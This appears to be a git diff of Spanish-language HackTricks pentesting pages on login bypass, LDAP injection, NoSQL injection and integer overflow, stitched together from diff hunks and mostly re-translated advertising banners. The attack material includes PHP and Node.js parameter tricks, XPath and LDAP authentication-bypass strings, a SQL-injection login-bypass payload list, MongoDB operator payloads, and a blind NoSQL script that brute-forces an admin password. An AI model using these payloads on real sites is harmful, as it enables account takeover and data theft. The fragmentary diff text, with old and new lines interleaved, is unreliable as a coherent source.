{% tab title="C" %}Un desbordamiento de enteros ocurre cuando se intenta almacenar un valor más grande de lo que un tipo de dato entero puede contener. Esto puede llevar a resultados inesperados, como valores negativos inesperados o incluso vulnerabilidades de seguridad si no se maneja adecuadamente. Es importante validar y sanitizar siempre la entrada del usuario para prevenir desbordamientos de enteros en aplicaciones web. Una forma común de explotar un desbordamiento de enteros es manipular los valores de entrada para que excedan el rango permitido, lo que puede conducir a comportamientos inseguros en la aplicación. {% endtab %}
```c
#include <stdio.h>
#include <limits.h>
@ -74,12 +49,12 @@ return 0;
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -8,16 +8,16 @@
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<img src="../.gitbook/assets/i3.png" alt="" data-size="original">\
**Consejo de recompensa por errores**: **Regístrate** en **Intigriti**, una plataforma premium de **recompensas por errores creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy y comienza a ganar recompensas de hasta **$100,000**!
**Consejo de recompensa por errores**: **Regístrate** en **Intigriti**, una plataforma de **recompensas por errores premium creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy y comienza a ganar recompensas de hasta **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
@ -25,7 +25,7 @@ Otras formas de apoyar a HackTricks:
### **LDAP**
**Si quieres saber qué es LDAP, accede a la siguiente página:**
**Si deseas saber qué es LDAP, accede a la siguiente página:**
{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
@ -223,7 +223,7 @@ intitle:"phpLDAPadmin" inurl:cmd.php
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
<img src="../.gitbook/assets/i3.png" alt="" data-size="original">\
**Consejo de recompensa por errores**: ¡**Regístrate** en **Intigriti**, una plataforma premium de **recompensas por errores creada por hackers, para hackers**! ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy y comienza a ganar recompensas de hasta **$100,000**!
**Consejo de recompensa por errores**: ¡**Regístrate** en **Intigriti**, una plataforma premium de **recompensas por errores creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, ¡y comienza a ganar recompensas de hasta **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
@ -233,10 +233,10 @@ intitle:"phpLDAPadmin" inurl:cmd.php
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,12 +1,12 @@
# Bypass de Inicio de Sesión
# Bypass de inicio de sesión
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
@ -14,7 +14,7 @@
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro clave para profesionales de tecnología y ciberseguridad en todas las disciplinas.
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro crucial para profesionales de tecnología y ciberseguridad en todas las disciplinas.
{% embed url="https://www.rootedcon.com/" %}
@ -22,24 +22,24 @@
Si encuentras una página de inicio de sesión, aquí puedes encontrar algunas técnicas para intentar evitarla:
* Verifica si hay **comentarios** dentro de la página (¿desplázate hacia abajo y hacia la derecha?)
* Verifica los **comentarios** dentro de la página (¿desplázate hacia abajo y hacia la derecha?)
* Verifica si puedes **acceder directamente a las páginas restringidas**
* Verifica **no enviar los parámetros** (no enviar ninguno o solo 1)
* Verifica el **error de comparaciones de PHP:** `user[]=a&pwd=b`, `user=a&pwd[]=b`, `user[]=a&pwd[]=b`
* Verifica el **error de comparaciones de PHP:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
* **Cambia el tipo de contenido a json** y envía valores json (bool true incluido)
* Si recibes una respuesta diciendo que POST no es compatible, puedes intentar enviar el **JSON en el cuerpo pero con una solicitud GET** con `Content-Type: application/json`
* Verifica el potencial error de análisis de nodejs (lee [**esto**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1`
* Nodejs transformará esa carga útil en una consulta similar a la siguiente: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` lo que hace que la parte de la contraseña sea siempre verdadera.
* Si puedes enviar un objeto JSON, puedes enviar `"password":{"password": 1}` para evitar el inicio de sesión.
* Recuerda que para evitar este inicio de sesión aún necesitas **conocer y enviar un nombre de usuario válido**.
* **Agregar la opción `"stringifyObjects":true`** al llamar a `mysql.createConnection` eventualmente **bloqueará todos los comportamientos inesperados cuando se pase un `Object`** como parámetro.
* **Agregar la opción `"stringifyObjects":true`** al llamar a `mysql.createConnection` eventualmente b**loqueará todos los comportamientos inesperados cuando se pase un `Object`** como parámetro.
* Verifica credenciales:
* [**Credenciales predeterminadas**](../../generic-methodologies-and-resources/brute-force.md#default-credentials) de la tecnología/plataforma utilizada
* **Combinaciones comunes** (root, admin, password, nombre de la tecnología, usuario predeterminado con una de estas contraseñas).
* Crea un diccionario usando **Cewl**, **agrega** el **nombre de usuario y contraseña predeterminados** (si los hay) e intenta realizar un ataque de fuerza bruta utilizando todas las palabras como **nombres de usuario y contraseña**
* **Fuerza bruta** utilizando un **diccionario más grande (**[**Fuerza bruta**](../../generic-methodologies-and-resources/brute-force.md#http-post-form)**)**
### Bypass de autenticación de Inyección SQL
### Bypass de autenticación de inyección SQL
[Aquí puedes encontrar varios trucos para evitar el inicio de sesión a través de **inyecciones SQL**](../sql-injection/#authentication-bypass).
@ -49,15 +49,15 @@ En la siguiente página puedes encontrar una **lista personalizada para intentar
[sql-login-bypass.md](sql-login-bypass.md)
{% endcontent-ref %}
### Bypass de autenticación de Inyección No SQL
### Bypass de autenticación de No SQL Injection
[Aquí puedes encontrar varios trucos para evitar el inicio de sesión a través de **No SQL Injections**](../nosql-injection.md#basic-authentication-bypass)**.**
Dado que las Inyecciones NoSQL requieren cambiar el valor de los parámetros, deberás probarlos manualmente.
### Bypass de autenticación de Inyección XPath
### Bypass de autenticación de XPath Injection
[Aquí puedes encontrar varios trucos para evitar el inicio de sesión a través de **Inyección XPath**](../xpath-injection.md#authentication-bypass)
[Aquí puedes encontrar varios trucos para evitar el inicio de sesión a través de **XPath Injection.**](../xpath-injection.md#authentication-bypass)
```
' or '1'='1
' or ''='
@ -75,7 +75,7 @@ admin' or '1'='2
```
### Bypass de autenticación de inyección LDAP
[Aquí puedes encontrar varios trucos para evitar la autenticación a través de **Inyección LDAP.**](../ldap-injection.md#login-bypass)
[Aquí puedes encontrar varios trucos para evitar el inicio de sesión a través de **Inyección LDAP.**](../ldap-injection.md#login-bypass)
```
*
*)(&
@ -89,35 +89,33 @@ admin)(!(&(|
pwd))
admin))(|(|
```
### Recordar Sesión
### Recuérdame
Si la página tiene funcionalidad de "**Recordar Sesión**", verifica cómo está implementada y ve si puedes abusar de ella para **tomar el control de otras cuentas**.
Si la página tiene funcionalidad de "**Recuérdame**", verifica cómo está implementada y ve si puedes abusar de ella para **tomar el control de otras cuentas**.
### Redirecciones
Las páginas generalmente redirigen a los usuarios después del inicio de sesión, verifica si puedes alterar esa redirección para causar una [**Redirección Abierta**](../open-redirect.md). Tal vez puedas robar información (códigos, cookies...) si rediriges al usuario a tu página web.
Las páginas generalmente redirigen a los usuarios después de iniciar sesión, verifica si puedes alterar esa redirección para causar un [**Redireccionamiento Abierto**](../open-redirect.md). Tal vez puedas robar información (códigos, cookies...) si rediriges al usuario a tu página web.
## Otros Controles
* Verifica si puedes **enumerar nombres de usuario** abusando de la funcionalidad de inicio de sesión.
* Verifica si el **autocompletado** está activo en los formularios de contraseña/información **sensible** de entrada: `<input autocomplete="false"`
* Verifica si el **autocompletar** está activo en los formularios de contraseña/información **sensible** de entrada: `<input autocomplete="false"`
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro clave para profesionales de la tecnología y ciberseguridad en todas las disciplinas.
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro crucial para profesionales de la tecnología y ciberseguridad en todas las disciplinas.
{% embed url="https://www.rootedcon.com/" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord**](https://discord.gg/hRep4RUj7f) o al **grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -1,21 +1,21 @@
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
Esta lista contiene **payloads para eludir el inicio de sesión mediante inyección XPath, LDAP y SQL** (en ese orden).
Esta lista contiene **payloads para evadir el inicio de sesión a través de XPath, LDAP e inyección SQL**(en ese orden).
La forma de usar esta lista es colocar las **primeras 200 líneas como nombre de usuario y contraseña.** Luego, pon la lista completa primero en el nombre de usuario y luego en los campos de contraseña, mientras ingresas alguna contraseña (como _Pass1234._) o algún nombre de usuario conocido (como _admin_).
La forma de usar esta lista es colocar las **primeras 200 líneas como nombre de usuario y contraseña**. Luego, coloca la lista completa primero en el nombre de usuario y luego en los campos de contraseña mientras colocas alguna contraseña (como _Pass1234._) o algún nombre de usuario conocido (como _admin_).
```
admin
password
@ -824,14 +824,14 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
```
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de HackTricks AWS)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>

View file

@ -10,14 +10,14 @@ Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_mediu
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -53,17 +53,6 @@ username[$exists]=true&password[$exists]=true
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
```
### **SQL - Mongo**
En una inyección NoSQL, los atacantes pueden manipular las consultas para devolver información no autorizada o incluso eliminar datos. Aquí hay un ejemplo de una inyección NoSQL en una consulta de MongoDB:
```json
{
"username": {"$gt": ""},
"password": {"$gt": ""}
}
```
En este caso, el atacante está intentando devolver todos los documentos donde el campo `username` y `password` son mayores que una cadena vacía.
```javascript
query = { $where: `this.username == '${username}'` }
```
@ -97,8 +86,6 @@ in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
```
### **SQL - Mongo**
En una inyección NoSQL, los atacantes pueden manipular las consultas para obtener acceso no autorizado a los datos almacenados en una base de datos NoSQL, como MongoDB. Los atacantes pueden explotar vulnerabilidades de inyección NoSQL para eludir la autenticación, acceder a información confidencial o incluso eliminar datos de la base de datos.
```
/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
@ -181,32 +168,39 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
```
## Script de Blind NoSQL
En lugar de usar la técnica de inyección NoSQL basada en errores, también podemos realizar una inyección NoSQL ciega. Aquí hay un script de ejemplo que puede ser utilizado para llevar a cabo una inyección NoSQL ciega en una base de datos MongoDB:
En lugar de usar una técnica de inyección NoSQL basada en errores, también podemos usar una técnica de inyección NoSQL ciega. Aquí hay un script de ejemplo que puede usar para realizar una inyección NoSQL ciega:
```javascript
var url = "http://target.com/login";
var password = "";
const axios = require('axios');
for (var i = 0; i < 8; i++) {
var found = false;
for (var c = 32; c < 128; c++) {
var payload = '{"username": {"$eq": "admin"}, "password": {"$regex": "^' + password + String.fromCharCode(c) + '"}}';
var res = sendPostRequest(url, payload);
if (res.includes("welcome")) {
password += String.fromCharCode(c);
found = true;
break;
async function blindNoSQLScript() {
let password = '';
let characters = 'abcdefghijklmnopqrstuvwxyz0123456789';
for (let i = 0; i < 8; i++) {
for (let char of characters) {
const payload = {
username: 'admin',
password: {$regex: `^${password}${char}`},
};
const response = await axios.post('http://targetwebsite.com/login', payload);
if (response.data.success) {
password += char;
console.log('Found character: ', char);
break;
}
}
}
if (!found) {
break;
}
console.log('Final password: ', password);
}
console.log("Password: " + password);
blindNoSQLScript();
```
Este script intenta adivinar la contraseña de un usuario en un formulario de inicio de sesión utilizando una técnica de inyección NoSQL ciega.
Este script intenta adivinar la contraseña de un usuario utilizando una técnica de inyección NoSQL ciega. Itera a través de los caracteres alfanuméricos y los agrega a la contraseña hasta que se completa.
```python
import requests, string
@ -298,14 +292,14 @@ get_password(u)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -313,7 +307,7 @@ Otras formas de apoyar a HackTricks:
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
